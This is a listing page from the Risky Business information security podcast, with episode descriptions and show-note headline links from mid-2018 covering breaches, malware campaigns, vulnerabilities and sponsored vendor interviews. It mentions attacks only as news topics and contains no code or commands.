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By Patrick Gray

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Risky Business is a weekly information security podcast featuring news and in-depth interviews with industry luminaries. Launched in February 2007, Risky Business is a must-listen digest for information security pros. With a running time of approximately 50-60 minutes, Risky Business is pacy; a security podcast without the waffle.

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Risky Business #508 -- Special guest Greg Shipley of In-Q-Tel's Cyber Reboot

On this week’s show we hear from Greg Shipley. Greg works at an initiative spun up by In-Q-Tel called Cyber Reboot. Its goal is to develop open source tools that can push things forward in security – things the private sector aren’t doing.

He’ll be telling us about some changes his colleagues have made to tcpdump, which, if they ever manage to get the changes adopted, could actually be quite useful to the security community.

This week’s show is brought to you by Duo Security! And Duo’s very own Dave Lewis will be joining us this week to talk about the roadblocks you might face if you’re trying to head down the BeyondCorp road to the deperimiterised nirvana!

Adam Boileau drops in to discuss the week’s news, including:

  • COSCO shipping ransomwared into oblivion
  • DHS warning on impending ERP attacks
  • Charges against SIM-swap cryptocurrency thief
  • Google’s “Shielded VMs”
  • Google’s launch of its own hardware security tokens
  • Master134 malvertising campaign
  • New Kronos version
  • NetSpectre attacks
  • Bluetooth bugs
  • Much, much more

Links to everything are below, and you can follow Patrick or Adam on Twitter if that’s your thing.

Jul 31, 2018
Risky Biz Soap Box: Zane Lackey of Signal Sciences talks DevOps

What you’re about to hear is a long form interview with Zane Lackey, a former pentester turned director of security engineering for Etsy turned co-founder and CSO of Signal Sciences.

Signal Sciences can be broadly, kinda described as “next generation WAF”. If you do have a requirement for a waffy, raspy thing, then you absolutely need to check out Signal Sciences.

They give you visibility in to attacks against your applications, and even auto-blocking a bunch of them without that turning into a cascading horror-show.

Signal Sciences’ product has a really strong emphasis on assisting organisations who are running DevOps shops. And it makes sense, Zane’s key achievement at Etsy was managing the security of that company’s Devops transition.

He’s actually just written an O’Reilly book, Building a Modern Security Program. So, he joined me to talk about his book, what’s in it, about DevSecOps more generally, and about some new stuff Signal Sciences has been working on.

Jul 30, 2018
Risky Business #507 -- For Vlad

We didn’t have space to run a feature in this week’s show, mostly because we had three weeks of news to catch up on because of my holiday. Adam Boileau is away on a company retreat this week, so Haroon Meer is this week’s news guest.

We talk about:

  • The Russia indictment
  • Chrome now marks http sites as “not secure”
  • Julian Assange is close to being turfed out of his London digs
  • Microsoft’s midterm meddling misfire
  • Singapore loses 1.5m health records
  • Some cool research from Talos and Cyberark
  • Azimuth Security acquired by L3
  • The npm supply-chain attack
  • Chrome site isolation
  • And much more!

This week’s sponsor is ICEBRG. And ICEBRG just announced today that it’s been acquired by Gigamon, which is pretty big news for them. So we’ll spend a couple of minutes talking about that with ICEBRG’s Jason Rebholz. Then we’ll be talking to Justin Warner about a pretty cool Flash 0day they found hiding in a Microsoft Office document. That was some pretty cool work, and the attackers in that case did some pretty novel things in terms of keeping their payload away from prying eyes. Obviously they didn’t do a good enough job or we wouldn’t be talking about it, but there are some new techniques there, fun stuff.

*****NOTE: At one point I get Jason Rebholz’s name wrong. I call him Justin Rebholz by accident. Apologies for the error, Jason!

Show notes

Today’s the day that Chrome brands plain old HTTP “not secure” | Ars Technica
12 Russian Spies Indicted for Hacking in 2016 | Fortune
The Russians Who Allegedly Hacked the DNC Sexted a Playboy Model and 'Bond Girl' - Motherboard
Russian hackers struck Clinton server hours after Trump called for emails - CyberScoop
Trump calls Putin's plan for investigating 2016 DNC breach an 'incredible offer' - Cyberscoop
Ecuador 'close to evicting' Julian Assange from UK embassy | The Independent
Microsoft: Russian Hackers Are Targeting The Midterms
Three top cybersecurity officials are leaving the FBI: Report
Singapore personal data hack hits 1.5m, health authority says - BBC News
Cisco's Talos Intelligence Group Blog: Advanced Mobile Malware Campaign in India uses Malicious MDM
Cellebrite's newest target: Your IoT-filled home
Alexa, Are You A Spy? Israeli Startup Raises $12.5 Million So Governments Can Hack IoT
L3 Strengthens Intelligence Collection and Surveillance Capabilities With Cyber Acquisitions | Business Wire
In the opaque world of government hacking, private firms grapple with allegiances
King iPhone Hacker NSO Group Robbed By Employee -- Spyware On Dark Web Sale For $50 Million, Israel Claims
Private sector played critical role in WannaCry attribution, ODNI official says
Compromised JavaScript Package Caught Stealing npm Credentials
Google Chrome shifts browser architecture to thwart Spectre attacks
Lawmakers call on Amazon and Google to reconsider ban on domain fronting
DOJ regrets the error on OPM-linked fraud case
A Privacy Researcher Uncovered a Year’s Worth of Breakups and Drug Deals Using Venmo’s Public Data - Motherboard
Avoid Detection with Shadow Keys - CyberArk
Attacks on Oracle WebLogic Servers Detected After Publication of PoC Code
Watch a Hacker Install a Firmware Backdoor on a Laptop in Less Than 5 Minutes - Motherboard
Many Bluetooth Implementations and OS Drivers Affected by Crypto Bug
Risky Biz Annual Black Hat Party w/ Signal Sciences, Remediant and Bugcrowd Tickets, Tue, Aug 7, 2018 at 7:00 PM | Eventbrite
Jul 25, 2018
Risky Biz Soap Box: Cylance: Driving machine learning model development with threat research

There’s no weekly show this week, I’m on a beach somewhere tropical right now and I prepared this one so we’d have something to run while I’m away. The Soap Box is one of our wholly sponsored podcasts here at Risky Biz HQ – vendors pay to come on to talk about what’s on their mind.

And this week we’ve got Cylance’s very own Chris Sestito joining us. He heads threat research for Cylance, the AV company.

Cylance is a relatively new company – they’ve been around about six years now – and regular listeners would have heard me credit them for almost singlehandedly shaking up the AV industry.

They built a machine learning model for detecting malware that was effective enough to actually challenge the incumbents, who until then, had a stranglehold on the market. Cylance’s fortunes rose further when it played an instrumental part in detecting and cleaning up malware used against the US office of personnel management, or OPM.

That was a big moment, because from there it seemed like all of a sudden EVERYONE was a machine learning company. I’m sure a lot of people listening to this podcast are so sick to death of hearing pitches from vendors about machine learning.

But the thing is, Cylance was built on machine learning and they are still 100%, 24-carat true believers. Chris Sestito joined me to talk about driving machine learning model development with threat research, dodgy machine learning marketing and more.

Jul 18, 2018
Snake Oilers 6 part 2: Proofpoint on cred phishing, Exabeam defines next-gen SIEM

Snake Oilers is a wholly sponsored podcast series we a few times a year here at Risky Biz HQ. The idea is we get a bunch of vendors together and they pitch their tech in a straightforward way. Less “stops advanced cyber threats” and more “here’s what our stuff does and how it works”.

You’re hearing this instead of a weekly show because I am currently on a beach somewhere tropical.

We’ve got two vendors in this edition of ‘Oilers: next-gen SIEM platform company Exabeam and email filtering giant Proofpoint.

Our sponsor guest from Proofpoint is Ryan Kalember. Ryan is the SVP of cybersecurity strategy at Proofpoint, and regular listeners would have heard him pop up here and there on other Risky Business podcasts.

Ryan knows an awful lot about email security and he’s joining us this week to talk about a few things. A big selling point he wants to hit home this week is that Proofpoint offers its clients dedicated IPs for their outbound mail servers. That means you won’t be blocked when someone else using the same IP for outbound mail starts sending spam. Believe it or not this is a thing that happens to users on other mail filtering platforms. From there Ryan spells out Proofpoint’s approach to combating credential phishing. Aaaaand we talk about other stuff too. We started off by talking about how some organisations are getting blocked because their filtering provider is sharing IPs between clients.

Exabeam also drops in to talk about what a next gen SIEM actually is. From day one Exabeam was a startup that meant business. As you’ll hear, they started off as a SIEM-helper, and they’ve gradually built out their product from there. Now they’re going after the established SIEM market – think Splunk, Arcsight, those types of products. Despite only being five years old, Exabeam has quickly established itself as a real player in the SIEM market.

And why not? They make a compelling argument that the most popular SIEM products have gone stale. Anu Yamanan is the VP of products at Exabeam and she’s here to explain the general pitch behind all next generation SIEM gear. The idea is to go beyond the event log and build a timeline of events that actually has context around it. SOC analysts, SIEM specialists and CSOs will be interested to hear what she has to say here.

Jul 05, 2018
Risky Business #506 -- How security teams can work with PR

On this week’s show we’re chatting with a PR pro who specialises in information security. Melanie Ensign currently works at Uber, but she also served as a security PR for Facebook and before that, AT&T. She drops in this week to talk about how you can work with the PR professionals in your organisation to help tell your security story to the wider world. She also has some great tips for infosec professionals who might be a bit nervous about dealing with journalists.

In this week’s sponsor interview we’re joined by Julian Fay, the CTO of Senetas.

Senetas has a long history of making layer 2 network encryptors, but they are branching out in all sorts of ways these days. One thing they’re doing now is working on approaches to network encryption that play nicely with software-defined WAN. The days of hauling all your network traffic back to a single choke point are numbered – Julian thinks in the near future you’ll have some sort of CPE device that actually implements different types of encryption on different types of traffic crossing your border. So, Senetas has actually built that gear and we’ll be hearing about why.

Adam Boileau joins the show to talk about the week’s security news:

  • Some very cool LTE research
  • Equifax manager charged with insider trading
  • Ticketmaster’s bad week
  • The US DoD’s very own app store
  • Weird, maybe, possibly-but-probably-not OPM-related fraud
  • MOAR Rowhammer stuff affecting ‘droid handsets

Links to everything are below, and you can follow Adam or Patrick on Twitter if that’s your thing.

Show notes

LTE wireless connections used by billions aren’t as secure as we thought | Ars Technica
SEC.gov | Former Equifax Manager Charged With Insider Trading
Trump calls out NSA for deleting data: Here are the facts - CBS News
Startup bank Monzo: We warned Ticketmaster months ago of site fraud • The Register
Ticketmaster UK trades blame with chat app provider over payment data breach
Bill would call on White House to develop its own list of APT groups
Private sector isn’t sharing data with DHS’s threat portal
U.S. poised to deny China Mobile access to American market due to spying fears
How the Pentagon Keeps Its App Store Secure | WIRED
Lawmakers demand answers in wake of strange OPM identity fraud lawsuit
DNC pushes employees, campaigns to embrace email security habits ahead of midterms
Feds Pose as Cryptocurrency Money Launderer to Bust Alleged Dark Web Dealers - Motherboard
Cryptocurrency Transactions May Uncover Sales of Shadow Broker Hacking Tools - Motherboard
DNS Poisoning or BGP Hijacking Suspected Behind Trezor Wallet Phishing Incident
Brave browser adds private tabs with Tor for 'enhanced privacy protection'
Rash of Fortnite cheaters infected by malware that breaks HTTPS encryption | Ars Technica
New RAMpage exploit revives Rowhammer attack to root Android devices | Ars Technica
adidas - adidas alerts certain consumers of potential data security incident
Marketing Firm Exactis Leaked a Personal Info Database With 340 Million Records | WIRED
Sadly, Ross Ulbricht's Case Will Not Be Heard by the Supreme Court - Hit & Run : Reason.com
Two Zero-Day Exploits Found After Someone Uploaded 'Unarmed' PoC to VirusTotal
Gentoo GitHub organization hacked - partially resolved - Gentoo infrastructure status
Samsung Investigates Claims of Spontaneous Texting of Images to Contacts | The first stop for security news | Threatpost
Senetas - a leading provider of high-assurance encryption
Risky Biz Annual Black Hat Party w/ Signal Sciences, Remediant and Bugcrowd Tickets, Tue, Aug 7, 2018 at 7:00 PM | Eventbrite
Jul 04, 2018
Risky Business #505 -- Sanger vs FireEye, Reality Winner cops a plea

No feature interview in this week’s show, we go long on news instead. Adam Boileau joins the podcast to talk through the week’s infosec news, including:

  • Confusion reigns in David Sanger vs FireEye spat
  • Reality Winner pleads guilty
  • PEXA property settlement platform users fleeced
  • US Supreme Court decides location info requires a warrant
  • The Apple unlock bug that wasn’t

This week’s show is brought to you by Thinkst Canary. Thinkst’s very own Marco Slaviero joins us in this week’s sponsor segment to talk about how some vendors are derping out when it comes to creating needlessly complicated “deception platforms”.

Links to everything are below, and you can follow Adam or Patrick on Twitter if that’s your thing.

Show notes

FireEye denies 'hack back' claims detailed in new book
Kim Zetter on Twitter: "I wonder if Congress will hold a hearing to discuss the issue of a private US company taking on the role of the NSA to hack foreign military computers. This raises a lot of issues about potential national security blowback when a private company inserts itself in state matters. https://t.co/fBbyxMwjLZ"
Kim Zetter on Twitter: "Sanger's description of what he says Mandiant did vs. what Mandiant says it did. Sanger implies he saw videos of Chinese hackers wearing leather jackets and undershirts - that's not in video Mandiant published. Are there other videos? Did Sanger misinterpret? So many questions. https://t.co/q60mrH7IPg"
Former NSA contractor Reality Winner accepts guilty plea for leaking classified report
Supreme Court: Police Need Warrant for Mobile Location Data — Krebs on Security
Bail Bond Company Let Bounty Hunters Track Verizon, T-Mobile, Sprint, and AT&T Phones for $7.50 - Motherboard
PEXA account compromise sees family lose home sale funds - Security - iTnews
MasterChef: Dani Venn homeless after hackers steal $250K
Microsoft Forcing Multi-Factor Authentication on Azure AD Admin Accounts
Police officer guilty of assault, perverting the course of justice
Apple corrects the record on reported iPhone vulnerability
Cops May Unlock iPhones Without a Warrant to Beat Apple's New Security Feature - Motherboard
Firefox is adding 'Have I Been Pwned' alerts
VirusTotal launches Monitor tool to fight false positives - CyberScoop
New WPA3 Wi-Fi Standard Released
Lawmakers urge Google to end partnership with China's Huawei
‘Tick’ espionage group is likely trying to hop air gaps, researchers say
Bithumb, South Korea's largest cryptocurrency exchange, loses $30 million to hackers
Unpatched Flaw Disclosed in WordPress CMS Core
I discovered a browser bug - JakeArchibald.com
Project Zero: Detecting Kernel Memory Disclosure – Whitepaper
The $5 Million Surveillance Car That Hacks iPhones From 500 Meters
Canary — know when it matters
Jun 27, 2018
Snake Oilers 6 part 1: InsightIDR from Rapid7, whitelisting with Airlock Digital and testing your SOC personnel with AttackIQ

First up in this edition of Snake Oilers we speak with Rapid7. Listeners of the regular show would have heard me talk about their UserInsight software for years. That’s because I knew people who used it and they swore by it. UserInsight was user and entity behaviour analytics (UEBA) software that was massively ahead of its time. It was very good at spotting weird things happening on your network when it comes to dumped or compromised creds popping up in weird places.

Well, InsightIDR is basically where UserInsight wound up, and yeah, it’s morphed in to a product that’s half SIEM and half EDR.

Every Tom, Dick and Harriett seems to be offering EDR software these days, and every next-gen SIEM company is becoming more and more UEBA-centric, so what Rapid7 has created here is something in between. InsightIDR product manager Eric Sun will tell us all about it.

Next up we’ll hear the simplest pitch in this podcast, from Airlock Digital. They’re an Australian company that makes whitelisting software that’s actually useable. If your organisation has tried implementing whitelisting through Microsoft’s Applocker then you know how badly it sucks. These guys have created a simple but useable whitelisting solution.

I’ve been to the booth! I’ve seen the demo! Airlock Digital co-founder David Cottingham is our guest on their behalf. In addition to being a founder, David is also the author of the SANS course SEC480: which covers the ASD top 4 – number one on that list is whitelisting. He has experience in the federal government implementing whitelisting and after seeing just how badly other products suck, he and his mates founded Airlock Digital. So yeah, if you’re whitelist-curious or if you’re sick of dealing with Applocker, then you really, really should stick around for that one.

After that we’re checking in with Stephan Chenette of AttackIQ. They make attack simulation software, but in response to customer demand they’ve actually taken it to its logical extension - they’re now offering modules you can use to test your SOC staff, or, if you outsource, you can use these modules to test your MSSP. Throw some alerts at them and see what comes back – get scores for individual SOC operators. Hey, even if you ARE an MSSP you might want to use this software to see who to promote in your SOC. That’s interesting stuff.

Jun 21, 2018
Risky Business #504 -- Latest email frauds and changes to money muling

On this week’s show we’re chatting with Alex Tilley. He’s with Secureworks in Australia these days, but before that he spent a big chunk of his career with the Australian Federal Police.

He did a presentation a few weeks back at the AusCERT conference all about what fraud crews are up to these days. He’ll be joining us to walk through how much damage West African crime groups are doing with compromised office 365 accounts. We also talk a bit about trends in money muling, because that game has really changed.

This week’s show is brought to you by Cylance, and in this week’s sponsor interview we’ll be chatting with Cylance’s very own Jim Walter about how ransomware hasn’t really gone anywhere, despite most of the tech press getting sick of writing about it.

Adam Boileau, as usual, joins us to talk about the week’s news, including:

  • The Vault7 guy is totally screwed
  • US Senate scuttles Trump’s plan to save ZTE
  • Chinese pwning satellite comms, telcos
  • Olympic Destroyer crew is back

Links to everything are below and you can follow Patrick and Adam on Twitter if that’s your thing.

Show notes

Ex-CIA employee charged in major leak of agency hacking tools - The Washington Post
Ryan Duff on Twitter: "The CIA leaker conducted a privilege escalation on the computer he used to access the data he stole, erased all the logs of his activity, and then locked other users out. A lot more tradecraft here than your average leaker… https://t.co/vIy0JL2f63"
WikiLeaks Shares Alleged Diaries of Accused CIA Leaker Joshua Schulte - Motherboard
Senate rejects Trump’s plan to lift ZTE export ban | Ars Technica
China-based campaign breached satellite, defense companies: Symantec | Reuters
Senate bill hopes to sort out supply-chain cybersecurity risks, prevent next Kaspersky drama
Kaspersky Halts Europol and NoMoreRansom Project Coop After EU Parliament Vote
North Korea to blame for string of Latin America bank hacks, insiders say
After Trump courts Kim, U.S. issues warning on North Korean malware
The Olympic Destroyer Hackers May Have Returned For More | WIRED
Patrick Gray on Twitter: "And there it is. The circle is complete. The whole point of Olympic Destroyer was to cast doubt on attribution generally, even though nobody who matters ever made attribution claims based on a few “vectors”.… https://t.co/RFXQYGr7sl"
Yubico snatched my login token vulnerability to claim a $5k Google bug bounty, says bloke • The Register
Iran’s Telegram Ban Has Impacted All Corners of the Country | WIRED
FBI recovers WhatsApp, Signal data stored on Michael Cohen’s BlackBerry | Ars Technica
Reminder: macOS still leaks secrets stored on encrypted drives | Ars Technica
Verizon and AT&T will stop selling your phone’s location to data brokers | Ars Technica
Google to Fix Location Data Leak in Google Home, Chromecast — Krebs on Security
17 Backdoored Docker Images Removed From Docker Hub
Cortana Hack Lets You Change Passwords on Locked PCs
ZeroFont Technique Lets Phishing Emails Bypass Office 365 Security Filters
Hacker Breaches Syscoin GitHub Account and Poisons Official Client
Clipboard Hijacker Targeting Bitcoin & Ethereum Users Infects Over 300,0000 PCs
Chris Vickery on Twitter: "Holy shit. This guy, George Cottrell, was advertising money laundering services on the dark web. He was caught red-handed in a FBI sting. Guy is (was) top aide to the Brexit campaign leader, Nigel Farage. His super secret dark web username was "Banker". https://t.co/unEM4CnYVj"
InstaCyber on Twitter: "It begins. THANKS #GDPR https://t.co/JH9CyWGWcO"
Bitcoin’s Price Was Artificially Inflated, Fueling Skyrocketing Value, Researchers Say - The New York Times
Man Gets 20 Years In Jail For Trying To Steal A Domain Name At Gunpoint | Gizmodo Australia
Cops Are Confident iPhone Hackers Have Found a Workaround to Apple’s New Security Feature - Motherboard
cylance spear team - Google Search
Jun 20, 2018
Risky Business #503 -- North Korean tech in the global supply chain

You might have noticed North Korea’s been in the news over the last couple of days. Well, we’re sticking with the theme – we’ve got a great feature interview for you this week with Andrea Berger. She’s a senior research associate at the US-based James Martin Centre for Nonproliferation Studies and the co-host of the Arms Control Wonk podcast. This week she speaks with Risky Business contributor Hilary Louise about a report the centre did into North Korea’s IT industry.

Yep, they have one, and you’ll be surprised by its scope and reach. That’s this week’s feature interview.

This week’s sponsor interview is with Signal Sciences co-founder and CEO Andrew Peterson. Andrew was at a Gartner event in DC last week, and I grabbed some time with him to talk about what’s new in DevSecOps, how people are applying various DevSecOps tools, and what the general awareness of good DevSecOps practices is out there. Andrew’s prior career was in development, not security. He and Zane Lackey worked together at Etsy and Signal Sciences was very much inspired by the work they both did there. Andrew says analysts are starting to understand that web application security isn’t something you drop on to a network in an appliance and things are actually changing.

Mark “Pipes” Piper is this week’s news guest. All the show links are below and you can follow Patrick, Pipes or Hilary, if that floats your boat.

Show notes

Founder of Cybersecurity Company Says His Firm Was Sanctioned Because He was Born in Russia - Motherboard
Treasury Sanctions Russian Federal Security Service Enablers | U.S. Department of the Treasury
Republican senators move to block Trump’s deal to revive ZTE | Ars Technica
WannaCry Hero Marcus Hutchins' New Legal Woes Spell Trouble for White Hat Hackers | WIRED
Cisco's Talos Intelligence Group Blog: VPNFilter Update - VPNFilter exploits endpoints, targets new devices
Top U.S. counterintelligence official: Kaspersky's move to Switzerland doesn't matter
Chinese hackers stole sensitive U.S. Navy submarine plans from contractor
China ramps up hacking of U.S. high-tech companies | McClatchy Washington Bureau
Flash zero-day shows up in Qatar amid geopolitical struggles
NDAA pushes U.S. Cyber Command to be more aggressive
Senator hopes to draw red line discouraging election cyberattacks
Congress wants to prevent states from weakening encryption
FBI announces arrest of 74 email fraudsters on three continents
For almost 11 years, hackers could easily bypass 3rd-party macOS signature checks | Ars Technica
I can be Apple, and so can you | Okta
This app in Google Play wants to use phone mics to enforce copyrights | Ars Technica
In a blow to e-voting critics, Brazil suspends use of all paper ballots | Ars Technica
Some Signal Disappearing Messages Are Not Disappearing - Motherboard
US Government Probes Airplane Vulnerabilities, Says Airline Hack Is ‘Only a Matter of Time’ - Motherboard
Hackers Crashed a Bank’s Computers While Attempting a SWIFT Hack
Apple just banned cryptocurrency mining on iOS devices | Ars Technica
Ethereum "Giveaway" Scammers Have Tricked People Out of $4.3 Million
Around 5% of All Monero Currently in Circulation Has Been Mined Using Malware
Trik Spam Botnet Leaks 43 Million Email Addresses
DPRK's Shadow Sector report
Jun 13, 2018
Risky Business #502 -- Inside China's hacker scene

On this week’s show we chat with Peter Wesley. Peter’s well known around the Australian security scene, but a few years back he relocated to China, where security is booming. He did a presentation at the AusCERT conference on the Gold Coast last week all about the Chinese hacker scene and security industry. He joins us in this week’s feature interview to tell us about how the Chinese scene evolved and what its current relationship with the Chinese government looks like.

This week’s sponsor interview is a cracker. We’ll be joined by Ryan Kalember, Senior Vice President of Strategy with Proofpoint, the email filtering company. Ryan is along to talk about a phenomenon the Proofpointers are very interested in – we’ve all heard of VIPs, but he’s here to talk about VAPs – Very Attacked People.

So much attacker behaviour these days is driven by email-based attacks, and the people getting hit the most with this sort of stuff might not be the ones you expect. Ryan joins us later on for that conversation in this week’s sponsor interview, with thanks to Proofpoint.

The show notes/links are below, and you can follow Adam or Patrick on Twitter if that’s your thing.

Show notes

What Will Microsoft's GitHub Buy Mean For Controversial Code? | WIRED
A host of new security enhancements is coming to iOS and macOS | Ars Technica
Apple Is Testing a Feature That Could Kill Police iPhone Unlockers - Motherboard
Microsoft Adds Post-Quantum Cryptography to an OpenVPN Fork
Oracle WebLogic RCE Deserialization Vulnerability (CVE-2018-2628) - DZone Security
Data from 92 million accounts stolen from DNA testing site MyHeritage
Hacker Defaces Ticketfly’s Website, Steals Customer Database - Motherboard
SS7 routing-protocol breach of US cellular carrier exposed customer data | Ars Technica
Judge dismisses Kaspersky lawsuits, U.S. government ban will stand
Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'
Former DIA official allegedly sold secrets to China, including possible Cyber Command information
ICANN Launches GDPR Lawsuit to Clarify the Future of WHOIS | Threatpost | The first stop for security news
With possible summit approaching, North Korean espionage hacks continue | Ars Technica
Synack offers free penetration testing for election systems ahead of 2018 midterms
CrowdStrike announces $1 million warranty for breaches that happen under its watch
IE Zero-Day Adopted by RIG Exploit Kit After Publication of PoC Code
CVE-2018-8174 | Windows VBScript Engine Remote Code Execution Vulnerability
Chrome and Firefox leaks let sites steal visitors’ Facebook names, profile pics | Ars Technica
Zip Slip Vulnerability Affects Thousands of Projects Across Multiple Ecosystems
Malicious Git Repository Can Lead to Code Execution on Remote Systems
The NSA Just Released 136 Historical Propaganda Posters - Motherboard
NSA Security Posters 1950s-1970s - Album on Imgur
Jun 06, 2018
Risky Business #501 -- Trisis: signalling, deterrence or escalation?

On this week’s show we’ll be talking about a whole bunch of stuff – the FBI taking down a botnet in a very FBI way, we go deep on the Trisis malware popping up in the US following America’s withdrawal from the so-called Iran agreement. We look at the latest in the crypto debate, breaches, bugs and more!

We’ll hear from Tom Uren of Australia’s Strategic Policy Institute (ASPI) on the Trisis side of things. Tom worked in an interesting place in Australia’s defence department but these days spends his days think tanking for the Australian Strategic Policy Institute. He shares his thoughts on what it is Iran could be up to with Trisis.

This week’s show is brought to you by: Australia!

AustCYBER is a government-supported industry group here that is trying to get the Australian cybersecurity industry organised. There’s the VC-backed US model, the build a “cyber city” in the desert Israeli model, then there’s the Australia model, which is actually quite different. It’s much more about helping local startups win deals locally, then internationally, to get them on a path to profitability so they don’t have to sign the awful term sheets Australian VCs put in front of them.

Well, there’s more to it than that, but AustCYBER head honcho Michelle Price will be along in this week’s sponsor interview to walk us through what she’s trying to do for the Australian security industry and how foreign multinational companies can also benefit from that.

Show notes

Exclusive: FBI Seizes Control of Russian Botnet
Cisco's Talos Intelligence Group Blog: New VPNFilter malware targets at least 500K networking devices worldwide
Robᵉʳᵗ Graham 🤔 on Twitter: "This advice from the FBI is best described as "moronic". It advised 126 million households in the U.S. to reboot their routers in order to address a botnet of 500,000 devices located mostly outside the U.S. https://t.co/qhm96HmLVZ"
FBI: Kindly Reboot Your Router Now, Please — Krebs on Security
FBI shuts down domain behind Russian 'VPNFilter' botnet
Researchers uncover sophisticated botnet aimed at possible attack inside Ukraine
Trisis masterminds have expanded operations to target U.S. industrial firms
U.S. industry experts call for vigilance after Trisis group goes global
In the dark about 'going dark'
Encryption advocates rip FBI over inflated encrypted device statistics
Apple reports spike in national security requests amid promises of more transparency
Why Is Your Location Data No Longer Private? — Krebs on Security
The U.S. military combined cyber and kinetic operations to hunt down ISIS, general says
Hacker linked to Russian intelligence sentenced to five years in prison
Cyber crooks claim to hit two big Canadian banks | Reuters
Chinese researchers warn blockchain company EOS about 'epic' vulnerability in soon-to-launch platform
No one is updating their Android devices, new data shows
Oracle Plans to Drop Java Serialization Support, the Source of Most Security Bugs
3 Charged In Fatal Kansas ‘Swatting’ Attack — Krebs on Security
Russian unit, GRU officer linked to 2014 shoot-down of airliner over Ukraine | Ars Technica
Cyber Security Growth Network - Australian Cyber Security Growth Network
May 30, 2018
Risky Biz Soap Box: Kill your own meat with EclecticIQ

Soap Box is not our regular weekly show, it’s the monthly podcast here at Risky Biz HQ where vendors pay to come on to the show to talk about what it is they actually do.

Before EclecticIQ sponsored this edition, to be honest, I didn’t really know much about them. All I knew is that their positioning was very much around “threat intelligence,” which, as regular listeners would know, are two words that are usually followed by “derpa derpa” on the regular Risky Business podcast.

BUT! Here’s the thing. EclecticIQ don’t sell a “blinky light” box that receives a creaky feed of 12-month-old IOCs. They sell their solution to either massive organisations or very high risk organisations. They could be national cyber security centres, entire defence departments, very, very big enterprises; basically anyone that has an intelligence team and multiple constituent departments or agencies. They also play in ultra high risk sectors like defence contracting.

The EclecticIQ platform isn’t for small organisations. It really is for orgs that have dedicated, externally-focussed intelligence teams. Their play isn’t “we feed you threat intelligence,” it’s use our tooling to go get your own threat intelligence, develop a strategy for dealing with the resulting product then distributing the strategy that flows from that process out to the relevant people in your organisation. I like to think of this approach as “killing your own meat”. That’s what EclecticIQ is all about. They give you the shotgun and a map, the last known locations of the deer, a cool room and a bunch of cleavers. Delicious. Apologies to any vegetarians listening for that metaphor.

Joep Gommers is our guest. He is the founder and CEO of EclecticIQ. Prior to founding EclecticIQ, Joep served as Head of Global Collection and Global Intelligence Operations at iSIGHT Partners, which was, of course, acquired by FireEye. Joep joined me to talk about what it is that EclecticIQ actually does and the resulting conversation, I hope, will be interesting to anyone who wants to understand how Threat intelligence is developed and disseminated at scale.

There’s a link to EclecticIQ’s website below, and you can follow Joep Gommers on Twitter here.

May 28, 2018
Risky Business #500 -- Web asset discovery is getting useful

In this week’s feature interview we’ll be chatting with Shubham Shah and his friend Lord Tuskington about continuous asset discovery’s impact on testing methodologies. Shubs has worked as both a pentester and as a very successful bug bounty hunter. In fact he’s built an entire asset discovery platform that he and his buddies have been using to rip crazy amounts of cash out of bounty programs over the last few years and he’s turning that platform into a product. So I wanted to talk to him about that, but I also wanted to get a pentester’s perspective on how this type of continuous asset discovery tech could change the testing industry.

This week’s show is brought to you by Exabeam, a next generation SIEM company! And it’s amazing how nicely this week’s feature and sponsor interviews dovetail actually, because Exabeam’s Steve Gailey will be along in this week’s sponsor interview to have a chat about how SIEM technology has changed much faster than SOC operations methodologies. Because basically everyone has structured their operations around three levels of response and the workflows are so ingrained, nobody seems to know know what to do with a next generation SIEM.

Adam Boileau is also along, like always, to talk about the week’s security news.

The show notes/news items are below, and you can follow Adam or Patrick on Twitter if that’s your thing.

Show notes

Alleged CIA Leaker Joshua Schulte Has Some of the Worst Opsec I’ve Ever Seen - Motherboard
Accused CIA leaker Joshua Schulte accused of more leaks
Alleged CIA Leaker Tweeted That Chelsea Manning ‘Should Be Executed’ - Motherboard
Trump feels presidential smartphone security is “too inconvenient” | Ars Technica
Trump, Chinese leaders moving forward on deal to save ZTE - The Washington Post
House measure asks DHS to share info on potential ZTE cyberthreat
Potential Trump deal to ease sanctions on China's ZTE riles Congress
Revealed: Pentagon Push to Hack Nuke Missiles Before They Launch
Banks Adopt Military-Style Tactics to Fight Cybercrime - The New York Times
Inside 'Project Indigo,' the quiet info-sharing program between banks and U.S. Cyber Command
Hacker Breaches Securus, the Company That Helps Cops Track Phones Across the US - Motherboard
LocationSmart bug allowed for leak of location data for nearly any U.S. phone - CyberScoop
Who's Afraid of Kaspersky? - Motherboard
New speculative-execution vulnerability strikes AMD, ARM, and Intel | Ars Technica
After Arrest in Serbia, Netflix Hackers ‘The Dark Overlord’ Say They’re Still Going - Motherboard
Cisco's Talos Intelligence Group Blog: TeleGrab - Grizzly Attacks on Secure Messaging
North Korea-tied hackers used Google Play and Facebook to infect defectors | Ars Technica
The Wayback Machine is Deleting Evidence of Malware Sold to Stalkers - Motherboard
Latvian national convicted of running 'VirusTotal-for-criminals' malware scanner
Alphabet's Jigsaw offers political campaigns free DDoS protection
T-Mobile Employee Made Unauthorized ‘SIM Swap’ to Steal Instagram Account — Krebs on Security
Karin Kosina on Twitter: "So the guy behind the Carbanak malware that stole hundreds of millions of dollars? He was caught because he bought a car for 70k and didn't pay the bill. Can't make this sh** up :) #opsec #fail https://t.co/rRmFzywmVI"
GPON Routers Attacked With New Zero-Day
Cisco fixes critical ‘DNA’ software flaws
Pakistan: Campaign of hacking, spyware and surveillance targets human rights defenders | Amnesty International
May 23, 2018
Risky Business feature interview: Hacking PUBG

Here it is – this week’s feature interview with Marisa Emerson! Marisa is a security researcher who did a great talk at BSides Canberra in March all about game cheating.

She was specifically talking about the cheating techniques PUBG gamers are using and just how advanced they are. The crazy thing is the cheaters here are rolling some pretty decent techniques. It’s reminiscent of the iPhone jailbreaking scene – a lot of good hackers who don’t know they’re good hackers.

Marisa is running a binary exploitation bootcamp in Brisbane that will have another session next semester. Details are here.

May 18, 2018
Risky Business #499 -- Is PGP actually busted and Signal pwnt? Noooope

In this week’s weekly show we’re just going to drill in to the week’s extra long security news section with Adam Boileau then go straight to the sponsor interview. I’ve got a fantastic feature interview for you this week, but I’m going to publish it outside of the news show. It was either that or run stupidly long or cut too much from everything to make it all fit.

This week’s sponsor interview is a good one though. We’re chatting with the team behind DarkTrace. They make a machine learning-backed network monitor. A key different with this kit is it actually gets involved on the network. If it sees something it’s confident is attacker behaviour it will start spraying TCP resets to boot them off the network.

